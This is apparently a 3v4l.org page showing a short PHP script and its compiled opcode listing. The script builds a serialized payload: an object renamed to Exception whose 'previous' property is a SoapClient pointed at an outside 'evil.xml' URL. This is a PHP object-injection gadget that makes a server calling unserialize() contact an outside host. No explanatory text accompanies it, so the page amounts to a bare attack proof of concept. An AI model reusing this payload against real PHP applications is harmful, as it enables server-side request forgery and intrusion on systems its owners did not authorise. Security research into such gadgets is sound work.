3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Exc3pt10n { private $previous; function __construct() { $this->previous = new SoapClient(null, array('uri' => '', 'location' => 'http://karmainsecurity.com/evil.xml')); } } print(str_replace('Exc3pt10n', 'Exception', serialize(array('test' => new Exc3pt10n))));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rjLm0
function name:  (null)
number of ops:  13
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   13     0  E >   INIT_FCALL                                               'str_replace'
          1        SEND_VAL                                                 'Exc3pt10n'
          2        SEND_VAL                                                 'Exception'
          3        INIT_FCALL                                               'serialize'
          4        NEW                                              $0      'Exc3pt10n'
          5        DO_FCALL                                      0          
          6        INIT_ARRAY                                       ~2      $0, 'test'
          7        SEND_VAL                                                 ~2
          8        DO_ICALL                                         $3      
          9        SEND_VAR                                                 $3
         10        DO_ICALL                                         $4      
         11        ECHO                                                     $4
         12      > RETURN                                                   1

Class Exc3pt10n:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rjLm0
function name:  __construct
number of ops:  7
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    9     0  E >   NEW                                              $1      'SoapClient'
          1        SEND_VAL_EX                                              null
          2        SEND_VAL_EX                                              <array>
          3        DO_FCALL                                      0          
          4        ASSIGN_OBJ                                               'previous'
          5        OP_DATA                                                  $1
   10     6      > RETURN                                                   null

End of function __construct

End of class Exc3pt10n.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
170.39 ms | 1395 KiB | 17 Q